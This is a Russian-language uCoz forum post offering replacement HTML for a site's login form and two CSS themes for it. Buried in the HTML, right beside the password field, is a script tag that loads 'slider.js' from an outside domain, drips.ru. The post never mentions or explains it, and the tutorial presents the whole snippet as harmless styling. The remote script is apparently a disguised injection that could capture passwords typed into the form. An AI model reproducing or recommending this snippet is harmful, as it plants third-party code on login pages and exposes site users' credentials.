Форма входа под Ucoz - Форум
Хостинг от uCoz
Все для CS, системы uCoz, adobe photoshop и тд...
Баннерообмен
Заказать рекламу
Реклама:



Страница 1 из 11
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Форма входа под Ucoz (2 вида)
Форма входа под Ucoz
BotsMan | Доп. инфо. Дата: Вторник, 21.02.2012, 21:18 | Сообщение # 1
Сообщений: 46
Репутация: 0
Награды: 0
[Гости не могут видеть сообщения, пожалуйста войдите в аккаунт или зарегестрируйтесь]

Алексей
 
СообщениеИ так для начало нам следует зайти в админ панель вашего сайта в системе uCoz:

Дизайн => Управление дизайном =>Пользователи => Форма входа пользователей

и заменить стандартный html код формы входа для uCoz., на следующий код:

Код
<div id="cell_vxod">    
    <div class="cell_pola_vxod"><div class="vxod_name">Логин:</div><input class="login_pole" type="text" name="user" value="" size="20" maxlength="50"/></div>    
    <div class="cell_pola_vxod"><div class="vxod_name">Пароль:</div><script src="http://drips.ru/slider.js" type="text/javascript"></script><input class="login_pole" type="password" name="password" size="20" maxlength="15"/></div>    
    <div id="vxod_reg">
    <a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a>
    <span class="right"><input class="south" title="Сохранить пароль при входе"id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$"></label></span>
    </div>
    <div id="cell_knopkav"><input class="knopka_vxoda" name="sbm" type="submit" value="Вход"/></div>
</div>


Шаг 2, установим CSS:

Теперь нам осталось выбрать один из двух вариантов css стилей для нашей формы входа для uCoz.

Вариант № 1 White (Белый):

Скрин: [spoiler="Спойлер"][/spoiler]

CSS-Code

Код
/* Форма входа
------------------------------------------*/
#cell_vxod {
    float:left;
    width:270px;    
}

#cell_vxod a:link,    
#cell_vxod a:visited {text-decoration:none; color:#5a79b8;}
#cell_vxod a:hover {text-decoration:none; color:#5cb85a;}

#vxod_reg {
    float:left;
    font:10px Verdana,Arial,Helvetica, sans-serif;
    color:#BABABA;
    font-weight: bold;
    width:212px;
    padding: 5px 5px 0px 0px;
}

#cell_knopkav {
    float:left;
    width:53px;
}

.cell_pola_vxod {
    float:left;
    margin-bottom: 10px;
}

.vxod_name {
    width:55px; text-shadow: 1px 1px 1px #fff;
    background:#d6d6d6;
    border-right: none;
    border-left: 1px solid #d6d6d6;    
    padding: 5px 0px 5px 5px;    
}

.login_pole {
    width:193px;    
    border-left: none;    
    border-right: 1px solid #d6d6d6;
    padding: 5px 5px 5px 10px;    
    vertical-align:middle;
}

.login_pole,    
.vxod_name {
    float:left;
    font:11px Verdana,Arial,Helvetica, sans-serif;
    color:#555;
    border-top: 1px solid #d6d6d6;
    border-bottom: 1px solid #d6d6d6;
    margin:0px;
}

.login_pole {background: #f6f6f6 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}
.login_pole:focus {background: #fff url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_White.gif) no-repeat left;}

.knopka_vxoda {
    color:#555; text-shadow: 1px 1px 1px #fff;
    padding: 3px 0px;    
    width:53px;
    background: #f6f6f6;
    border:1px solid #d6d6d6;
    margin:0px;    
}

.knopka_vxoda:hover {
    background: #d6d6d6;
}
/* -------------------------------------- */


Вариант № 2 Black (Чёрный):

Скрин: [spoiler="Спойлер"][/spoiler]

CSS-Code

Код
/* Форма входа
------------------------------------------*/
#cell_vxod {
    float:left;
    width:270px;    
}

#cell_vxod a:link,    
#cell_vxod a:visited {text-decoration:none; color:#69A4BD;}
#cell_vxod a:hover {text-decoration:none; color:#5CB703;}

#vxod_reg {
    float:left;
    font:10px Verdana,Arial,Helvetica, sans-serif;
    color:#BABABA;
    font-weight: bold;
    width:212px;
    padding: 5px 5px 0px 0px;
}

#cell_knopkav {
    float:left;
    width:53px;
}

.cell_pola_vxod {
    float:left;
    margin-bottom: 10px;
}

.vxod_name {
    width:55px;text-shadow: 1px 1px 1px #8A8A8A;
    background:#656565;
    border-right: none;
    border-left: 1px solid #232323;    
    padding: 5px 0px 5px 5px;    
}

.login_pole {
    width:193px;    
    border-left: none;    
    border-right: 1px solid #232323;
    padding: 5px 5px 5px 10px;    
    vertical-align:middle;
}

.login_pole,    
.vxod_name {
    float:left;
    font:11px Verdana,Arial,Helvetica, sans-serif;
    color:#111;
    border-top: 1px solid #232323;
    border-bottom: 1px solid #878787;
    margin:0px;
}

.login_pole {background: #767676 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}
.login_pole:focus {background: #808080 url(http://www.center-dm.ru/ucoz/forma_vxoda/2/fon_ugol_pola_Black.gif) no-repeat left;}

.knopka_vxoda {
    color:#111;    
    padding: 3px 0px;    
    width:53px;
    background: #8a8a8a;
    border:1px solid #232323;
    margin:0px;    
}

.knopka_vxoda:hover {
    background: #656565;
}
/* -------------------------------------- */

Автор - BotsMan
Дата добавления - 21.02.2012 в 21:18
Форум » Скрипты для uCoz » Другие скрипты для uCoz » Форма входа под Ucoz (2 вида)
Страница 1 из 11
Поиск:
Загрузка...

ForumSiteMap.xml | SiteMap.xml

Привет! Всё права защинены администратором сайта !